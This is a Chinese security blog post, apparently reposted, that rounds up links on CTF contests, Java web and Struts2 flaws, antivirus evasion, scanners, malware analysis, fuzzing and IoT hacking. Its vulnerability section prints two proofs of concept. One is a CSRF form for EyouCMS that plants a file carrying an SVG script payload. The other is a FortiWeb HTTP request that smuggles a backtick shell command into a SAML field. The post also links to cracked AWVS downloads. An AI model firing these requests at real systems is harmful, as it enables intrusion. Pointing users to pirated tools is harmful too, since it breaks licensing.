知识的搬运工系列-本期文章汇总

admin 2022年1月10日09:15:18安全闲碎评论23 views6569字阅读21分53秒阅读模式


汇总一些感兴趣的文章留着然后慢慢看

0x01  CTF

祥云杯网络安全大赛

https://mp.weixin.qq.com/s/miKQzH4AINoGeeWChRuBlw

0X02  实战相关

java

有篇关于实战java web的文章 可以学习一下

https://mp.weixin.qq.com/s/X1MxXyyiyuKVSOJ6l3WULw

fastjson漏洞复现

https://mp.weixin.qq.com/s/bqGkY4E8S9MFCxzOGGyPdw

tomcat

https://mp.weixin.qq.com/s/av9QoMhQTjr1S0oq8-Ri9w

Struts2漏洞总结

https://mp.weixin.qq.com/s/EizBtsONdmWXyWG2b7ncJg

免杀

https://mp.weixin.qq.com/s/KJ9yRUNzUjZ86sVTQG5e7A

https://mp.weixin.qq.com/s/tujT6CHQ6Z1_MfgYW_g1fA

0x03  工具使用

最近关注的几款安全工具,简单汇总一下各个工具的下载地址,内容来自网络,侵权删除:用来备份:

AWVS14.4

AWVS14.4.210816098更新于2021年8月16日,适用于 Windows、Linux 和 macOS 的版本,其中针对CVE2021-29441/28164等等漏洞的新检查。

链接:https://pan.baidu.com/s/1yNblBHs3-GD2mXEFTF2VIw 提取码:lpin
破解教程:链接:https://pan.baidu.com/s/122avTaSHpdEaZWlh2J9oRw 提取码:9ear

BurpSuite2021.8.1

BurpSuite2021.8.1版本发布于2021年8月12日,属于测试版本,此版本提供了几个错误修复,最显着的是修复了影响某些扩展的内存泄漏问题。

链接:https://pan.baidu.com/s/1GLLbSHc2yxKL3YLSrNGtOA 提取码:e41k

红队信息收集可视化Pulsar

https://mp.weixin.qq.com/s/zKmSeIWiG35pMxFZE7433A

0x04  漏洞

EyouCMS 跨站脚本漏洞

知识的搬运工系列-本期文章汇总

https://github.com/eyoucms/eyoucms/issues/6

知识的搬运工系列-本期文章汇总


EyouCMS 跨站请求伪造漏洞

https://github.com/eyoucms/eyoucms/issues/5

 1<html>
2  <!-- CSRF PoC - Create /template/hack1.htm-->
3  <body>
4  <script>history.pushState('''''/')</script>
5    <form action="http://localhost/eyoucms/login.php?m=admin&c=Filemanager&a=newfile&lang=cn" method="POST">
6      <input type="hidden" name="activepath" value="&#47;template" />
7      <input type="hidden" name="filename" value="hack1&#46;htm" />
8      <input type="hidden" name="content" value="&lt;svg&#32;onload&#61;alert&#40;&quot;hack&quot;&#41;&gt;" />
9      <input type="submit" value="Submit request" />
10    </form>
11  </body>
12</html>

Fortinet FortiWeb OS 命令注入

FortiWeb 管理界面(版本 6.3.11 及更早版本)中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。

https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw

 1POST /api/v2.0/user/remoteserver.saml HTTP/1.1
2Host: [redacted]
3Cookie: [redacted]
4User-Agent: [redacted]
5Accept: application/json, text/plain, */*
6Accept-Language: en-US,en;q=0.5
7Accept-Encoding: gzip, deflate
8Referer: https://[redacted]/root/user/remote-user/saml-user/
9X-Csrftoken: 814940160
10Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
11Content-Length: 3068
12Origin: https://[redacted]
13Dnt: 1
14Te: trailers
15Connection: close
16-----------------------------94351131111899571381631694412
17Content-Disposition: form-data; name="q_type"
181
19-----------------------------94351131111899571381631694412
20Content-Disposition: form-data; name="name"
21`touch /tmp/vulnerable`
22-----------------------------94351131111899571381631694412
23Content-Disposition: form-data; name="entityID"
24test
25-----------------------------94351131111899571381631694412
26Content-Disposition: form-data; name="service-path"
27/saml.sso
28-----------------------------94351131111899571381631694412
29Content-Disposition: form-data; name="session-lifetime"
308
31-----------------------------94351131111899571381631694412
32Content-Disposition: form-data; name="session-timeout"
3330
34-----------------------------94351131111899571381631694412
35Content-Disposition: form-data; name="sso-bind"
36post
37-----------------------------94351131111899571381631694412
38Content-Disposition: form-data; name="sso-bind_val"
391
40-----------------------------94351131111899571381631694412
41Content-Disposition: form-data; name="sso-path"
42/SAML2/POST
43-----------------------------94351131111899571381631694412
44Content-Disposition: form-data; name="slo-bind"
45post
46-----------------------------94351131111899571381631694412
47Content-Disposition: form-data; name="slo-bind_val"
481
49-----------------------------94351131111899571381631694412
50Content-Disposition: form-data; name="slo-path"
51/SLO/POST
52-----------------------------94351131111899571381631694412
53Content-Disposition: form-data; name="flag"
540
55-----------------------------94351131111899571381631694412
56Content-Disposition: form-data; name="enforce-signing"
57disable
58-----------------------------94351131111899571381631694412
59Content-Disposition: form-data; name="enforce-signing_val"
600
61-----------------------------94351131111899571381631694412
62Content-Disposition: form-data; name="metafile"; filename="test.xml"
63Content-Type: text/xml
64<?xml version="1.0"?>
65<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
66<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
67<md:KeyDescriptor use="signing">
68<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
69<ds:X509Data>
70<ds:X509Certificate>test</ds:X509Certificate>
71</ds:X509Data>
72</ds:KeyInfo>
73</md:KeyDescriptor>
74<md:KeyDescriptor use="encryption">
75<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
76<ds:X509Data>
77<ds:X509Certificate>test</ds:X509Certificate>
78</ds:X509Data>
79</ds:KeyInfo>
80</md:KeyDescriptor>
81<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
82<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
83</md:IDPSSODescriptor>
84</md:EntityDescriptor>
85-----------------------------94351131111899571381631694412--
86HTTP/1.1 500 Internal Server Error
87Date: Thu, 10 Jun 2021 11:59:45 GMT
88Cache-Control: no-cache, no-store, must-revalidate
89Pragma: no-cache
90Set-Cookie: [redacted]
91X-Frame-Options: SAMEORIGIN
92X-XSS-Protection: 1; mode=block
93Content-Security-Policy: frame-ancestors 'self'
94X-Content-Type-Options: nosniff
95Content-Length: 20
96Strict-Transport-Security: max-age=63072000
97Connection: close
98Content-Type: application/json
99{"errcode": "-651"}

Exchange proxyshell

https://blog.csdn.net/HBohan/article/details/119780758

https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange

https://www.hedysx.com/2782.html

https://www.thezdi.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw

Xstream反序列化远程代码执行漏洞

暂无

0x05安全防护

开源蜜罐相关

https://www.sohu.com/a/192359353_653604

0x06 样本分析

对APT攻击样本的探索

https://mp.weixin.qq.com/s/bW19Q1RKEVI_ZxFAcWPi3g

Linux挖矿木马WorkMiner

https://mp.weixin.qq.com/s/HxMoq4Inr0brornVlAjNNw

假冒FBI、CIA传播多个病毒木马,中招将被完全控制,还会群发邮件感染U盘

https://mp.weixin.qq.com/s/pLE6XXpVtNPocjGdwCBLLw

0x07 FUZZ 学习

https://github.com/antonio-morales/Fuzzing101

0x08 IOT

控制整个小区住户的智能家居与可视对讲

https://mp.weixin.qq.com/s/4sez8QcAmCcQTuBxH03ZFg


本文始发于微信公众号(无级安全):知识的搬运工系列-本期文章汇总

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日09:15:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  知识的搬运工系列-本期文章汇总 http://cn-sec.com/archives/469857.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: